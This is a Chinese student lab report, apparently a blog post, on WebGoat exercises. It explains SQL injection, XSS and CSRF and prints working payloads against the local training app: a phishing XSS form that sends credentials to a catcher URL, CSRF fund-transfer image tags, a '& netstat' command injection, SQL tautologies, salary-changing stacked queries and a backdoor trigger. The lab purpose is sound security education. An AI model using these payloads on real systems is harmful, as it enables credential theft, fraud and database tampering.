标签:class confirm exe asp config cti tab 实验 提交
(1)SQL注入攻击原理,如何防御?
SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
防御:利用输入规则限制进行防御,过滤输入的数据,不允许特殊字符输入。
(2)XSS攻击的原理,如何防御?
跨站脚本攻击,允许恶意用户将恶意Script代码注入到网页上,当用户浏览网页时,嵌入其中Web里面的Script代码会被执行,从而被攻击,其他用户在观看网页时就会受到影响。XSS攻击的主要目的是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的身份登陆,做一些破坏。
防御:在表单提交或者url参数传递前,对需要的参数进行过滤;检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。
(3)CSRF攻击原理,如何防御?
防御:通过referer、token或者验证码来检测用户提交;在form中包含秘密信息、用户指定的代号作为cookie之外的验证;定期清理保存的cookie。
WebGoat
WebGoat分为简单版和开发板,简单版是个Java的Jar包,只需要有Java环境即可,我们在命令行里执行:java -jar webgoat-container-7.0.1-war-exec.jar
运行WebGoat:
2.WebGoat使用8080端口,所以在浏览器上访问localhost:8080/WebGoat
,进入WebGoat之后,可以看到有很多题目来让我们进行练习。
http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
,完整的XSS攻击代码如下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你
攻击成功:
<script>alert("5225 attack succeed!");</script>
当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们看:
在code框中输入<script>alert("5239 attack succeed!");</script>将带有攻击性的URL作为输入源。
弹出会话框,反射型XSS攻击成功!
写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=270&menu=900&transferFunds=4000"/>
(Screen和menu的值在窗口右边查看)
提交后在下面的Message List里面可以看我刚刚发送的消息,点击它,当前页面就会下载这个消息并显示出来,转走用户的5225元,从而达到CSRF攻击的目的
Screen和menu的值每个人的电脑可能不一样,可以在当前页面的右边有个Parameters进行查看:
提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的4000元,从而达到CSRF攻击的目的。
浏览器开启一个新页面,输入localhost:8080/WebGoat/attack?Screen=1410&menu=900&transferFunds=5000进入确认转账请求页面。
点击CONFIRM之后,再输入localhost:8080/WebGoat/attack?Screen=1410&menu=900&transferFunds=CONFIRM
成功转走了5000元。原因是网页的源代码中transferFunds的值变成了CONFIRM。
浏览器下的一个扩展Firebug对源代码进行修改,右键点击BackDoors.help旁边加上 "& netstat -an & ipconfig"
选中修改后的值再点击view,可以看到命令被执行,出现系统网络连接情况:
在103后面加上一个 or 1=1使其成为永真式。
点击Go!发现已经成功了。
输入‘ or 1=1 --构造永真式。点击Go!发现所有用户信息都被显示出来了。
输入‘ or 1=1 --注入,失败。在输入框右键打开html源码,发现maxlength被限制为8。修改成20,再次登陆,成功!
在上一个实验的基础上,过一个普通员工的账户larry,浏览其BOSS的账户信息。
在larry的名字右键,打开源码,发现这个地方是以员工ID作为索引传递参数的。将value的值修改为101 or 1=1 order by salary desc --
这样老板的信息就会被排到第一个。
再次点击ViewProfile,发现已经看到老板的信息了。
先输入101,得到该用户的信息:
注入语句101; update employee set salary=5239,将其工资变为了5239。
最后输入101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘20145239@qq.com‘ WHERE userid = NEW.userid把表中所有的邮箱和用户ID都设为我自己的。
标签:class confirm exe asp config cti tab 实验 提交
原文地址:http://www.cnblogs.com/nizaikanwoma/p/6901318.html